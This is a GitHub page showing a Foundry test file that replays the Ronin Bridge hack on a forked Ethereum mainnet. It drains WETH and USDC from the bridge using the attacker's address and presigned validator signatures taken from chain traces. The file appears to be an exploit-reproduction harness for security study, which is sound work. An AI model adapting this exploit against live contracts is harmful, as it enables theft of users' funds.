generated from foundry-rs/hardhat-foundry-template
-
Notifications
You must be signed in to change notification settings - Fork 214
/
RoninBridge.attack.sol
69 lines (52 loc) · 3.54 KB
/
RoninBridge.attack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import {TestHarness} from "../../TestHarness.sol";
import {TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol';
interface IRoninBridge {
function withdrawERC20For(uint256 _withdrawalId, address _user, address _token, uint256 _amount, bytes memory _signatures) external;
}
contract Exploit_RoninBridge is TestHarness, TokenBalanceTracker {
address internal attacker = 0x098B716B8Aaf21512996dC57EB0615e2383E2f96;
address internal weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address internal usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
IRoninBridge internal bridge = IRoninBridge(0x1A2a1c938CE3eC39b6D47113c7955bAa9DD454F2);
// this attack also relies on presigned payloads found on traces
// In this case, thought, there is not much to gain from reversing
// the logic behind the attack, at least not on chain
// the attacker just got access to the private keys, so
// there's not much to reverse
function setUp() external {
cheat.createSelectFork('mainnet', 14442834); // One block before the first weth transfer
addTokenToTracker(weth);
addTokenToTracker(usdc);
updateBalanceTracker(attacker);
updateBalanceTracker(address(bridge));
}
function test_attack() external {
console.log('------- INITIAL BALANCES -------');
logBalancesWithLabel('Attacker', attacker);
logBalancesWithLabel('Bridge', address(bridge));
console.log('------- STEP 1: DRAIN WETH TOKENS -------');
bridge.withdrawERC20For(
2000000,
attacker,
weth,
173_600 ether,
hex'01175db2b62ed80a0973b4ea3581b22629026e3c6767125f14a98dc30194a533744ba284b5855cfbc34c1416e7106bd1d4ce84f13ce816370645aad66c0fcae4771b010984ea09911beeadcd3dab46621bc81071ba91ce24d5b7873bc6a34e34c6aafa563916059051649b3c1930425aa3a79a293cacf24a21bda3b2a46a1e3d39a6551c01f962ee0e333c2f7261b3077bb7b7544001d555df4bc2e6a5cae2b2dac3d1fe3875cd1d12fadbeb4c01f01e196aa36e395a94de074652971c646b4b3b7149b3121b0178bd67c4fa659087c5f7696d912dee9db37802a3393bf4bd799e22eb201e78d90dc3f57e99d8916cd0282face42324f3afa0d96b0a09c4f914f15cac9c11037b1b0102b7a3a587c5be368f324893ed06df7bdcd3817b1880bd6dada86df15bd50d275fc694a8914d1818a2d432f980a97892f303d5a893a3eec176f46957958ecb991c'
);
logBalancesWithLabel('Attacker', attacker);
logBalancesWithLabel('Bridge', address(bridge));
console.log('------- STEP 1: DRAIN USDC TOKENS 5 BLOCKS LATER -------');
cheat.rollFork(block.number + 4);
bridge.withdrawERC20For(
2000001,
attacker,
usdc,
25500000000000,
hex'016734b276131c27fa94464db17b44ca517b0a9134b15ee4b776596725741cc7836beea1681dda98a83406515981e1d315d5eba13a0173a5a9688f9f920d7a3f7a1c01155c24a2d7a2ffb02530cf58da40c528301dfc22b21b16267dbf4eba2cd3d087276142bddd1d82404b2e75bd12993606a0c7c7626aa74c4d90bd7e4558fbe4261c01067c5aaba1b8e5bb686cda9efdae909aff86dc83f5be79f13af3ee677fb1791175e0b03401bdf7aa6e604eb995c7670384e6fadef3d687a00fd6d33cd47a0dde1c01dad673b6630394d15f8cca8975351d8272390a6c8bb1cb07cc2b04e8d7ea7a867e56a99e9d0c17a8e0629cebda86ee5a5f8b42610494ad0ed0245ffe9b5287631c012f1fb5b4c2b3718ea69197a5239316fbb9b805be3cdf8420324765ab53144b006b3148921458e629ea254df2c383175ca250e6442b8904a0f50ffdf465f6aa6f1b'
);
logBalancesWithLabel('Attacker', attacker);
logBalancesWithLabel('Bridge', address(bridge));
}
}